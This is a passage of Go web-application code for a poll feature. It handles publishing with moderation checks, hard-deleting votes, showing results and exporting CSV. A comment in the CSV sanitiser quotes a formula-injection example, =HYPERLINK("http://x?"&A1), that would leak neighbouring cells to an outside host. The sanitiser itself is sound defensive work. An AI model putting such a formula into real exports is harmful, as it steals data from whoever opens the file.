// action=publish:已保存为草稿,再执行发布校验;失败则保留草稿并停留在编辑页
if action == "publish" {
if !canPublishVote(ctx) {
ctx.Redirect(editURL)
return
}
// 用刚保存的内容刷新 vote 结构,供审核与结构校验读取最新标题/类型
vote.Title = form.opts.Title
vote.Description = form.opts.Description
vote.Type = form.opts.Type
if err := validateForPublish(ctx, vote); err != nil {
ctx.SetErrorFlash(err.Error())
ctx.Redirect(editURL)
return
}
if err := db.Votes.UpdateStatus(ctx.Request().Context(), vote.ID, db.VoteStatusPublished); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to publish vote")
ctx.SetInternalErrorFlash()
ctx.Redirect(editURL)
return
}
shareURL := fmt.Sprintf("%s/vote/%s", strings.TrimRight(conf.App.ExternalURL, "/"), vote.LinkToken)
ctx.SetSuccessFlash(i18n.T(ctx.Lang(), "vote.flash.published", shareURL))
ctx.Redirect("/user/questions#votes")
return
}
// 草稿保存成功:停留在编辑页,使用页面 toast 提示,避免 success flash 与 toast 重复展示。
ctx.Redirect(editURL + "?saved=1")
}
// canPublishVote 统一投票发布的站方处置检查:L2 起不得发布新的公开内容。
// 查询失败时 fail-closed;错误提示在此统一设置,重定向目标由各发布入口保持原语义。
func canPublishVote(ctx context.Context) bool {
level, _, err := db.Restrictions.ActiveLevel(ctx.Request().Context(), ctx.User.ID)
if err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to query user restriction")
ctx.SetInternalErrorFlash()
return false
}
if db.RestrictionAtLeast(level, db.RestrictionL2) {
ctx.SetErrorFlash(i18n.T(ctx.Lang(), "vote.err.restrictedPublish"))
return false
}
return true
}
// VotePublish 发布投票(draft → published)。草稿阶段跳过的结构校验与 fail-closed
// 内容审核在此统一补齐,确保对外公开内容仍受管控。
func VotePublish(ctx context.Context) {
vote, err := getOwnedVote(ctx, ctx.Param("voteID"))
if err != nil {
ctx.SetErrorFlash(err.Error())
ctx.Redirect("/user/questions#votes")
return
}
if vote.Status != db.VoteStatusDraft {
ctx.SetErrorFlash(i18n.T(ctx.Lang(), "vote.err.publishDraftOnly"))
ctx.Redirect("/user/questions#votes")
return
}
if !canPublishVote(ctx) {
ctx.Redirect("/user/questions#votes")
return
}
if err := validateForPublish(ctx, vote); err != nil {
ctx.SetErrorFlash(err.Error())
ctx.Redirect("/user/questions#votes")
return
}
if err := db.Votes.UpdateStatus(ctx.Request().Context(), vote.ID, db.VoteStatusPublished); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to publish vote")
ctx.SetInternalErrorFlash()
ctx.Redirect("/user/questions#votes")
return
}
shareURL := fmt.Sprintf("%s/vote/%s", strings.TrimRight(conf.App.ExternalURL, "/"), vote.LinkToken)
ctx.SetSuccessFlash(i18n.T(ctx.Lang(), "vote.flash.published", shareURL))
ctx.Redirect("/user/questions#votes")
}
// validateForPublish 发布前补齐完整校验:结构合法性(标题/选项数/字段数/排序题选项数)
// + fail-closed 内容审核,确保对外公开的投票结构合法且内容合规。
func validateForPublish(ctx context.Context, vote *db.Vote) error {
if strings.TrimSpace(vote.Title) == "" {
return errors.New(i18n.T(ctx.Lang(), "vote.err.publishTitleRequired"))
}
if vote.Type == db.VoteTypeForm {
count, err := db.VoteFormFields.CountByVoteID(ctx.Request().Context(), vote.ID)
if err != nil || count < 1 {
return errors.New(i18n.T(ctx.Lang(), "vote.err.publishFormFieldsRequired"))
}
fields, _ := db.VoteFormFields.ListByVoteID(ctx.Request().Context(), vote.ID)
for i, f := range fields {
if f.FieldType == db.VoteFormFieldTypeRank {
if len(parseJSONStringArray(f.Options)) < 2 {
return errors.New(i18n.T(ctx.Lang(), "vote.err.fieldRankTooFew", i+1, f.Label))
}
}
}
} else if vote.Type != db.VoteTypeRating {
count, err := db.VoteOptions.CountByVoteID(ctx.Request().Context(), vote.ID)
if err != nil || count < 2 {
return errors.New(i18n.T(ctx.Lang(), "vote.err.publishOptionsRequired"))
}
}
if err := censorVoteForPublish(ctx, vote); err != nil {
return err
}
return nil
}
// voteOwnerStrictness 读取投票发起人本人的「审核严格度」档位。
// 不用 ctx.User:发布动作未必由发起人触发,ctx.User 可能是操作者,会导致
// 「按别人的档位审核别人箱子的内容」。取不到发起人时回退最严档——宁严勿松。
func voteOwnerStrictness(ctx context.Context, ownerID uint) censor.Strictness {
owner, err := db.Users.GetByID(ctx.Request().Context(), ownerID)
if err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).WithField("owner_id", ownerID).
Error("Failed to get vote owner for moderation strictness")
return censor.StrictnessStrict
}
return moderation.EffectiveStrictness(ctx.Request().Context(), ownerID, owner.ModerationStrictness)
}
// censorVoteForPublish 发布前对投票全部可见文本做内容审核(fail-closed)。
func censorVoteForPublish(ctx context.Context, vote *db.Vote) error {
// 同一次发布的全部文本必须用同一个档位裁决:否则标题走发起人档位、描述/选项走
// ctx.User 档位,一旦发布动作不是发起人触发,同一条投票会落到两个账号的松紧档上。
strictness := voteOwnerStrictness(ctx, vote.UserID)
check := func(text string) error {
_, err := moderation.Check(ctx.Request().Context(), strictness, ctx.Lang(), text)
return err
}
if vote.Title != "" {
if err := check(vote.Title); err != nil {
return err
}
}
if vote.Description != "" {
if err := check(vote.Description); err != nil {
return err
}
}
options, _ := db.VoteOptions.ListByVoteID(ctx.Request().Context(), vote.ID)
for _, o := range options {
if err := check(o.Content); err != nil {
return err
}
}
fields, _ := db.VoteFormFields.ListByVoteID(ctx.Request().Context(), vote.ID)
for _, f := range fields {
if err := check(f.Label); err != nil {
return err
}
// 预置选项(select/radio/checkbox/rank)也纳入审核
for _, fo := range parseJSONStringArray(f.Options) {
if fo == "" {
continue
}
if err := check(fo); err != nil {
return err
}
}
}
return nil
}
// VoteClose 提前结束进行中的投票。
func VoteClose(ctx context.Context) {
vote, err := getOwnedVote(ctx, ctx.Param("voteID"))
if err != nil {
ctx.SetErrorFlash(err.Error())
ctx.Redirect("/user/questions#votes")
return
}
if vote.Status != db.VoteStatusPublished {
ctx.SetErrorFlash(i18n.T(ctx.Lang(), "vote.err.closePublishedOnly"))
ctx.Redirect("/user/questions#votes")
return
}
if err := db.Votes.UpdateStatus(ctx.Request().Context(), vote.ID, db.VoteStatusEnded); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to close vote")
ctx.SetInternalErrorFlash()
ctx.Redirect("/user/questions#votes")
return
}
ctx.SetSuccessFlash(i18n.T(ctx.Lang(), "vote.flash.closed"))
ctx.Redirect("/user/questions#votes")
}
// VoteDelete 删除投票(级联删除选项、表单字段与提交记录)。
//
// 实际删除动作全部在 db.Votes.DeleteWithCascade 的一个事务里完成,且是真删(Unscoped)。
func VoteDelete(ctx context.Context) {
vote, err := getOwnedVote(ctx, ctx.Param("voteID"))
if err != nil {
ctx.SetErrorFlash(err.Error())
ctx.Redirect("/user/questions#votes")
return
}
// 级联删除必须是一个事务:原来四步独立写入、前三步失败只打 Warn,
// 中途失败会留下「选项没了但投票记录还在」这种界面无法修复的状态 ——
// 而重试删除时投票已不存在,只能报 not exist,脏数据永远留着。
//
// 顺带修掉一个隐私问题:这些表都带软删除,原来的 Delete 全是软删,
// 提交记录里参与者填写的文本、voter_ip、voter_token 只是「界面上看不到」,
// 库里永久留着。DeleteWithCascade 对四张表统一走 Unscoped 真删。
if err := db.Votes.DeleteWithCascade(ctx.Request().Context(), vote.ID); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to delete vote with cascade")
ctx.SetInternalErrorFlash()
ctx.Redirect("/user/questions#votes")
return
}
// 删除成功后再失效缓存。放在事务之后是有意的:
// 若先删缓存而事务回滚,读请求会立刻重新算一遍并再次填进旧值。
votepkg.InvalidateResultsCache(vote.ID)
ctx.SetSuccessFlash(i18n.T(ctx.Lang(), "vote.flash.deleted"))
ctx.Redirect("/user/questions#votes")
}
// textReplyView 文本类字段单条提交内容的展示视图(按字段归类,内联在题目下方折叠展示)。
type textReplyView struct {
CreatedAt time.Time
Text string
}
// VotePreview 草稿预览:箱主在发布前查看参与页面样例(提交禁用)。
// 仅草稿状态可预览;发布后直接跳真实参与页。
func VotePreview(ctx context.Context) {
vote, err := getOwnedVote(ctx, ctx.Param("voteID"))
if err != nil {
ctx.SetErrorFlash(err.Error())
ctx.Redirect("/user/questions#votes")
return
}
if vote.Status != db.VoteStatusDraft {
ctx.Redirect("/vote/" + vote.LinkToken)
return
}
ctx.Data["Vote"] = vote
ctx.Data["IsOwner"] = true
ctx.Data["PreviewMode"] = true
ctx.Data["NotStarted"] = false
ctx.Data["Ended"] = false
ctx.Data["VoteScopeRegisteredOnly"] = vote.VoterScope == db.VoteVoterScopeRegisteredOnly
ctx.Data["IsLogged"] = true // 预览按登录态渲染,避免登录提示干扰样例
owner, err := db.Users.GetByID(ctx.Request().Context(), vote.UserID)
if err == nil {
ctx.Data["Owner"] = owner
}
if vote.Type == db.VoteTypeForm {
fields, _ := db.VoteFormFields.ListByVoteID(ctx.Request().Context(), vote.ID)
ctx.Data["FormFields"] = fields
} else if vote.Type != db.VoteTypeRating {
options, _ := db.VoteOptions.ListByVoteID(ctx.Request().Context(), vote.ID)
ctx.Data["Options"] = options
}
// "其他/自定义选项"保留标记(与参与端 Page 一致)
ctx.Data["CustomFieldMarker"] = db.CustomFieldMarker
ctx.Data["HasVoted"] = false
ctx.Data["CanVote"] = true
ctx.Data["ShowResults"] = false
ctx.Data["Title"] = "预览:" + vote.Title
ctx.Success("vote/page")
}
// VoteResults 投票结果页:选项型(单选/多选/评分/排序)走统一聚合统计,
// 表单类型展示回复明细(仅箱主可见)。
func VoteResults(ctx context.Context) {
vote, err := getOwnedVote(ctx, ctx.Param("voteID"))
if err != nil {
ctx.SetErrorFlash(err.Error())
ctx.Redirect("/user/questions#votes")
return
}
total, err := db.VoteSubmissions.CountByVoteID(ctx.Request().Context(), vote.ID)
if err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to count submissions")
total = 0
}
var formFields []*db.VoteFormField
textReplies := map[string][]textReplyView{} // 文本类字段按标签归类,选择/评分/排序已聚合
results, err := votepkg.LoadResults(ctx, vote)
if err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to load vote results")
}
if vote.Type == db.VoteTypeForm {
formFields, _ = db.VoteFormFields.ListByVoteID(ctx.Request().Context(), vote.ID)
// 短 TTL 缓存回复明细解析结果(逐条 json.Unmarshal 全部提交记录的 O(N) 开销)。
replyKey := strconv.FormatUint(uint64(vote.ID), 10)
// 带 ok 的断言:缓存里若混入别的类型,裸断言会直接 panic 掉整个结果页。
// 类型不符时丢弃该条缓存并走重建分支(所以不能用 else 接在外层 if 后)。
fromCache := false
if cached, ok := voteTextRepliesCache.Get(replyKey); ok {
if parsed, isMap := cached.(map[string][]textReplyView); isMap {
textReplies = parsed
fromCache = true
} else {
voteTextRepliesCache.Delete(replyKey)
}
}
if !fromCache {
submissions, _ := db.VoteSubmissions.ListByVoteID(ctx.Request().Context(), vote.ID, nil)
for _, s := range submissions {
var data map[string]interface{}
if len(s.FormData) > 0 {
_ = json.Unmarshal(s.FormData, &data)
}
for _, f := range formFields {
if f.FieldType == db.VoteFormFieldTypeText || f.FieldType == db.VoteFormFieldTypeTextarea {
if val, ok := data[f.Label].(string); ok && strings.TrimSpace(val) != "" {
textReplies[f.Label] = append(textReplies[f.Label], textReplyView{CreatedAt: s.CreatedAt, Text: val})
}
}
}
}
voteTextRepliesCache.Set(replyKey, textReplies, voteTextRepliesCacheTTL)
}
}
ctx.Data["Vote"] = vote
ctx.Data["Total"] = total
ctx.Data["Results"] = results
ctx.Data["FormFields"] = formFields
ctx.Data["TextReplies"] = textReplies
ctx.Data["Title"] = "投票结果"
ctx.Success("user/vote-results")
}
// sanitizeCSVCell 防 CSV 公式注入。
//
// Excel / LibreOffice / WPS 会把以 = + - @ 开头的单元格当公式执行,
// 于是「选项名」或「参与者填的文本」里写 =HYPERLINK("http://x?"&A1) 就能在
// 打开导出文件的人机器上把邻列内容外带出去。前置单引号会让它变成纯文本
// (CSV 里单引号不会显示出来,Excel 读到也不当公式)。
//
// 判断用 trim 后的首字符:带前导空格/制表符的 =SUM(1) 在部分表格软件里
// 仍会被解析成公式,只看第一个字节会漏。
func sanitizeCSVCell(s string) string {
trimmed := strings.TrimLeft(s, " \t\r\n")
if trimmed == "" {
return s
}
r := []rune(trimmed)[0]
if r == '=' || r == '+' || r == '-' || r == '@' {
return "'" + s
}
return s
}
// formatFieldValue 将表单字段值格式化为可读文本:多选数组 → "A、B";
// 排序 map → "首选:1;次选:2"(按键排序保证稳定);其余原样。
func formatFieldValue(v interface{}) string {
switch val := v.(type) {
case []interface{}:
parts := make([]string, 0, len(val))
for _, x := range val {
parts = append(parts, fmt.Sprint(x))
}
return strings.Join(parts, "、")
case map[string]interface{}:
keys := make([]string, 0, len(val))
for k := range val {
keys = append(keys, k)
}
sort.Strings(keys)
parts := make([]string, 0, len(keys))
for _, k := range keys {
parts = append(parts, fmt.Sprintf("%s:%v", k, val[k]))
}
return strings.Join(parts, ";")
default:
return fmt.Sprint(v)
}
}
// VoteExportCSV 导出投票结果 CSV:选项型每选项一行(内容 + 票数/均值)末行总参与;
// 表单型每行一条回复(提交时间 + 各字段列)。前置 UTF-8 BOM 保证 Excel 中文不乱码。
func VoteExportCSV(ctx context.Context) {
vote, err := getOwnedVote(ctx, ctx.Param("voteID"))
if err != nil {
ctx.SetErrorFlash(err.Error())
ctx.Redirect("/user/questions#votes")
return
}
var buf strings.Builder
buf.WriteString("\xef\xbb\xbf") // UTF-8 BOM
w := csv.NewWriter(&buf)
if vote.Type == db.VoteTypeForm {
fields, _ := db.VoteFormFields.ListByVoteID(ctx.Request().Context(), vote.ID)
// 字段名是箱主自己填的,同样可能是 =HYPERLINK(...) 形式。
header := []string{"提交时间"}
for _, f := range fields {
header = append(header, sanitizeCSVCell(f.Label))
}
_ = w.Write(header)
submissions, _ := db.VoteSubmissions.ListByVoteID(ctx.Request().Context(), vote.ID, nil)
for _, s := range submissions {
var data map[string]interface{}
_ = json.Unmarshal(s.FormData, &data)
row := []string{s.CreatedAt.Format("2006-01-02 15:04:05")}
for _, f := range fields {
row = append(row, sanitizeCSVCell(formatFieldValue(data[f.Label])))
}
_ = w.Write(row)
}
} else {
res, err := votepkg.LoadResults(ctx, vote)
if err != nil {
ctx.SetInternalErrorFlash()
ctx.Redirect("/user/questions#votes")
return
}
_ = w.Write([]string{"选项", "票数"})
switch res.Type {
case db.VoteTypeSingle, db.VoteTypeMultiple:
for _, o := range res.Options {
_ = w.Write([]string{sanitizeCSVCell(o.Option.Content), strconv.FormatInt(o.Count, 10)})
}
case db.VoteTypeRating:
for _, r := range res.Ratings {
_ = w.Write([]string{fmt.Sprintf("%d 分", r.Score), strconv.FormatInt(r.Count, 10)})
}
_ = w.Write([]string{"平均分", fmt.Sprintf("%.2f", res.AvgRating)})
case db.VoteTypeRank:
for _, r := range res.Rankings {
_ = w.Write([]string{sanitizeCSVCell(r.Option.Content), fmt.Sprintf("%.2f", r.AvgRank)})
}
_ = w.Write([]string{"平均排名", fmt.Sprintf("%.2f", res.AvgRank)})
}
// 自定义补充选项(开启 AllowCustom 时)
if len(res.CustomStats) > 0 {
_ = w.Write([]string{"自定义补充", "次数"})
for _, c := range res.CustomStats {
_ = w.Write([]string{sanitizeCSVCell(c.Text), strconv.FormatInt(c.Count, 10)})
}
}
_ = w.Write([]string{"总参与", strconv.FormatInt(res.Total, 10)})
}
w.Flush()
ctx.ResponseWriter().Header().Set("Content-Type", "text/csv; charset=utf-8")
ctx.ResponseWriter().Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="vote_%d.csv"`, vote.ID))
ctx.ResponseWriter().Header().Set("X-Content-Type-Options", "nosniff")
ctx.ResponseWriter().WriteHeader(http.StatusOK)
_, _ = ctx.ResponseWriter().Write([]byte(buf.String()))
}